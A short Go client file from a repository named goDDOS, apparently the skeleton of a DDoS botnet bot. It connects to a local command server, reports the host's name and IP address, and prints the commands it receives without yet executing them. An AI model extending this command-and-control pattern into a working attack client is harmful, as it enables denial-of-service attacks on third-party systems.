goDDOS/client/main.go
client/main.goRaw
1package main
2
3import (
4 "bufio"
5 "fmt"
6 "net"
7 "os"
8 "time"
9)
10
11const (
12 CONN_HOST = "localhost"
13 CONN_PORT = "3333"
14 CONN_TYPE = "tcp"
15)
16
17func main() { //client https://systembash.com/a-simple-go-tcp-server-and-tcp-client/
18
19 // connect to this socket
20 conn, _ := net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
21 hostname, err := os.Hostname()
22 if err != nil {
23 fmt.Println(err)
24 os.Exit(1)
25 }
26 fmt.Println("connecting to server as hostname:", hostname)
27 ip := getIp()
28 fmt.Println("local ip:", ip)
29 // send to socket
30 fmt.Fprintf(conn, "[client connecting] - [date]: "+time.Now().Local().Format(time.UnixDate)+" - [hostname]: "+hostname+", [ip]: "+ip.String()+"\n")
31 for {
32 message, err := bufio.NewReader(conn).ReadString('\n')
33 if err != nil {
34 fmt.Println(err)
35 fmt.Println("server disconnected")
36 os.Exit(1)
37 }
38 fmt.Print("Command from server: " + message)
39 }
40
41}
42
43func getIp() net.IP {
44 var ip net.IP
45 ifaces, err := net.Interfaces()
46 if err != nil {
47 fmt.Println(err)
48 }
49 for _, i := range ifaces {
50 addrs, err := i.Addrs()
51 if err != nil {
52 fmt.Println(err)
53 }
54 for _, addr := range addrs {
55
56 switch v := addr.(type) {
57 case *net.IPNet:
58 ip = v.IP
59 case *net.IPAddr:
60 ip = v.IP
61 }
62 // process IP address
63 }
64 }
65 return ip
66}